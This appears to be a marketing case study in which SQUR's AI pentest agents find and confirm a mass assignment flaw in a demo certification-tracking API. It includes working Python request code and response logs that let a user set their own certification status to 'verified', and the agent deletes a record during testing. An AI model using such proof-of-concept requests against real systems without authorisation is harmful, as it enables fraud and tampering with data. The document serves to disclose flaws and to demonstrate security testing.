SQUR's Pentester agent discovered that users could promote their own certifications to "verified" status by exploiting a mass assignment flaw in the update endpoint — a business logic vulnerability that requires understanding what the application does, not just how it responds. A separate Vulnerability Verifier agent independently confirmed the finding using a different account.
While testing the CertTracker API, SQUR's Pentester agent formed a hypothesis: the certification
endpoints might accept fields that should be restricted to administrators. If the
status field — which controls whether a certification is
"active", "verified", or "revoked" — were writable by regular users, the entire
verification workflow would be meaningless.
This isn't the kind of vulnerability a scanner checks for. There's no signature, no known CVE, no pattern to match. It requires understanding the business purpose of each field and reasoning about what would happen if the wrong person could change it.
# 1. Attempt Mass Assignment in POST /api/certifications/
payload_post = {
"cert_type_id": 2,
"issue_date": "2024-01-01",
"expiry_date": "2025-01-01",
"certificate_number": "MASS-ASSIGN-POST",
"status": "verified", # Restricted field
"user_id": 1, # Restricted field
"id": 999 # Restricted field
}
response_post = requests.post(f"{base_url}/api/certifications/", json=payload_post, headers=headers)
# 2. Create a clean cert, then test PUT with restricted fields
payload_put = {
"cert_type_id": 3,
"issue_date": "2024-01-01",
"expiry_date": "2025-01-01",
"status": "revoked", # Restricted field
"user_id": 1 # Restricted field
}
response_put = requests.put(f"{base_url}/api/certifications/{target_id}", json=payload_put, headers=headers)
POST /api/certifications/ → 400 Bad Request
"You already have an active certification of this type"
Test inconclusive — cannot create cert to test PUT endpoint
A scanner would stop here. The request returned 400, no vulnerability detected, move on. But the Pentester understood why it failed — the test user already held certifications of every type, triggering the "one per type" business rule. The actual mass assignment question was still unanswered.
What followed was three minutes of iterative problem-solving: querying existing certs, hitting a
KeyError on the wrong field name, discovering the API uses
credential_id instead of certificate_number,
and finally restructuring the test to work within the application's constraints.
KeyError: 'certificate_number'
→ Field is actually named 'credential_id' in API responses
→ User has 5 active certifications (types 1-5)
# 1. Delete certification ID 6 (Type 1) to free it up for POST testing
requests.delete(f"{base_url}/api/certifications/6", headers=headers)
# 2. POST with restricted fields — does the API accept them?
payload_post = {
"cert_type_id": 1,
"issue_date": "2024-01-01",
"expiry_date": "2025-01-01",
"status": "verified", # Should be admin-only
"user_id": 1, # Should be system-assigned
"id": 9999 # Should be auto-generated
}
response_post = requests.post(f"{base_url}/api/certifications/", json=payload_post, headers=headers)
# 3. PUT with restricted fields — does the API accept them?
payload_put = {
"cert_type_id": 2,
"issue_date": "2024-01-01",
"expiry_date": "2025-01-01",
"status": "revoked", # Should be admin-only
"user_id": 1 # Should be immutable
}
response_put = requests.put(f"{base_url}/api/certifications/7", json=payload_put, headers=headers)
The results split cleanly: the POST endpoint
correctly ignored all restricted fields. But the
PUT endpoint told a different story.
POST /api/certifications/ → 201 Created
status: "active" (ignored "verified" — SAFE)
user_id: 7 (ignored "1" — SAFE)
id: 12 (ignored "9999" — SAFE)
PUT /api/certifications/7 → 200 OK
status: "revoked" (accepted "revoked" — VULNERABLE)
user_id: 7 (ignored "1" — SAFE)
GET /api/certifications/7 → Confirmed: status persisted as "revoked"
The status field was writable. But "revoked" isn't the dangerous
direction. The Pentester immediately understood the implication: if users can set any
status, they can set "verified".
# The critical question: can a user set their own status to "verified"?
payload_put = {
"cert_type_id": 2,
"issue_date": "2024-01-01",
"expiry_date": "2025-01-01",
"certificate_number": "MASS-ASSIGN-VERIFY",
"notes": "Testing self-verification",
"verification_url": "http://example.com",
"status": "verified"
}
response = requests.put(f"{base_url}/api/certifications/7", json=payload_put, headers=headers)
print(f"PUT Status Code: {response.status_code}")
print(f"Updated Status: {response.json().get('status')}")
PUT /api/certifications/7 → 200 OK
{
"id": 7,
"status": "verified", ← USER SET THIS THEMSELVES
"user_id": 7,
"cert_type_id": 2,
...
}
[!] CRITICAL: User can self-verify certifications via mass assignment!
Finding a vulnerability is half the work. Accurately scoping it is the other half.
The Pentester didn't stop at confirming the status field was writable —
it systematically tested what wasn't writable, producing a precise vulnerability map
rather than a vague alarm.
PUT /api/certifications/1 (another user's cert) → 403 "Access denied"
Ownership check enforced — vulnerability limited to own certifications
After testing every restricted field individually, the Pentester produced a precise vulnerability boundary.
SQUR doesn't trust its own findings until a second agent confirms them. The Vulnerability Verifier — a separate, independent agent with its own credentials — received the finding and attempted to reproduce it from scratch.
POST /api/certifications/ → 400 "You already have an active certification of this type"
PUT /api/certifications/None → 422 (no valid cert ID to test)
Verifier hits the same business logic wall as the Pentester
The Verifier hit the exact same "one per type" constraint. Just like the Pentester, it adapted — querying the user's existing certifications to find a valid target ID.
# Authenticated as user_2f4a0672 (NOT the Pentester's account)
cert_id = 11 # CISSP certification, status: "active"
update_payload = {
"cert_type_id": 1,
"issue_date": "2024-01-01",
"expiry_date": "2025-01-01",
"certificate_number": "XSS-VERIFY-1",
"status": "verified"
}
response = requests.put(f"{certs_url}{cert_id}", json=update_payload, headers=headers)
print(f"PUT Status Code: {response.status_code}")
print(f"Response: {json.dumps(response.json(), indent=2)}")
if response.status_code == 200 and response.json().get("status") == "verified":
print("\nSUCCESS: Mass Assignment confirmed. Status changed to 'verified'.")
PUT /api/certifications/11 → 200 OK
{
"id": 11,
"status": "verified", ← SECOND USER, SAME RESULT
"user_id": 6,
"cert_type_id": 1,
...
}
SUCCESS: Mass Assignment confirmed. Status changed to 'verified'.
"finding_id": "ede82993-2c72-4048-b961-3c3d6d999ba5"
"status": "ai_accepted"
"risk_level": "high"
"status_reason": "Deterministic PoC confirms that the 'status' field
can be modified by a standard user via the PUT endpoint,
allowing for self-verification of certifications."
A DAST scanner testing PUT /api/certifications/7 with extra fields
would see a 200 OK response. It might even notice the
status field changed. But it cannot determine whether that change
matters.
Understanding that status: "verified" represents a
trust boundary violation — that this field controls an administrative
approval workflow, that users shouldn't be able to bypass it, that the business impact is
certification fraud — requires domain understanding that no signature-based tool possesses.
The Pentester also demonstrated adaptive reasoning: when the initial test was blocked by business logic (duplicate cert constraint), it understood why it failed, restructured the test, and persisted until it reached a definitive answer. A scanner would have logged "400 Bad Request" and moved on.
Traditional security tools excel at pattern matching: known CVEs, common misconfigurations, signature-based detections. But the most dangerous vulnerabilities in modern applications are often business logic flaws — cases where the application works exactly as coded, but the code doesn't enforce the rules the business requires.
This mass assignment vulnerability is a textbook example. The API endpoint responded correctly
to every request. The HTTP semantics were valid. The authentication was enforced. The only
problem was that the status field — a field that controls
a critical trust workflow — was unintentionally exposed in the update schema.
SQUR found it because its agents reason about application semantics, not just protocol behavior. The Pentester understood that "verified" status has administrative meaning. It adapted when blocked by business logic constraints. It mapped the precise boundary between vulnerable and protected fields. And the Vulnerability Verifier independently confirmed the finding using a completely different user account.
The result: a verified, precisely scoped, high-severity finding with a complete proof of concept — discovered, confirmed, and documented without human intervention.
This finding is part of the demo pentest every user sees when signing up to SQUR. Create a free account to explore the full results and understand how SQUR works.
Get Started Free